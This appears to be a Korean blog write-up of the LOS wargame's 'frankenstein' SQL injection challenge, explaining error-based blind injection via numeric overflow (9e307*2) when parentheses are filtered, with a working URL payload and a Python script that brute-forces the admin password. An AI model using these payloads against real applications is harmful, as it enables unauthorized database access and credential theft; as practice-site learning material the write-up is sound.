본문 바로가기
워게임/LOS

frankenstein(error based sqli)

by meanjung 2021. 10. 9.

괄호가 필터링되어버린다. 그렇다면 함수를 못 쓰는건가

 

정규식이 생각나서

?pw=' or id='admin' and pw like "___" 해보려해도 _가 필터링되어 불가능이다.


Error based SQL injection

1. Syntax error

2. logical error

 

syntax error : 쿼리 자체는 실행되지 않은 채로, 바로 에러 메시지를 반환한다.

logical error : 쿼리 자체는 실행되지만 논리적 오류로 인해 메시지를 반환한다.

 

때문에 error based sql에서는 logical error을 이용해야 한다.

에러 발생시키는 방법

1. select ~0+1

~0에는 unsigned의 최댓값이 들어간다. 최댓값에 +1을 해서 에러를 출력하는 방법이다.

 

2. 9eN

N이 308 이상의 숫자이면 syntax error

즉, 307까지는 syntax error가 아닌 logical error이다.

9e307*N 으로 logical error 발생시키는 듯


?pw=' or case when id='admin' and pw like '{}%25' then 9e307*2 else 0 end%23

 

[**] %25 -> '%'

 

비밀번호 길이는 모르더라도 대충 잡아놓고 하면 된다.

import requests
chars_list = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
cookies={"PHPSESSID":""}
passwd=""
for i in range(30):
    for c in chars_list:
        temp = passwd + c
        url = f"https://los.rubiya.kr/chall/frankenstein_b5bab23e64777e1756174ad33f14b5db.php?pw=' or case when id='admin' and pw like '{temp}%25' then 9e307*2 else 0 end%23"
        res = requests.get(url, cookies=cookies)
        if "<hr><br>error" in res.text:
            passwd+=c
            print(passwd)
            break

 


https://comsec.tistory.com/102

 

SQL injection 바로 잡기 #1 Error Based Blind SQL injection 9eN

최근 SQL injection 실습 사이트를 만들어보면서 그 간 공부하면서 잘못 잡았던 개념들을 정리하고자 SQL injection 바로 잡기 섹터를 구성했다. 직접 구현해보지 않으면 모를만한 내용을 다룰 예정이

comsec.tistory.com

 

'워게임 > LOS' 카테고리의 다른 글

ouroboros(quine sql injection)  (0) 2021.10.09
phantom(서브쿼리)  (0) 2021.10.09
blue_dragon(time based sql injection)  (0) 2021.10.09
red_dragon(개행, 이분탐색)  (0) 2021.10.06
[**] green_dragon  (0) 2021.10.06

댓글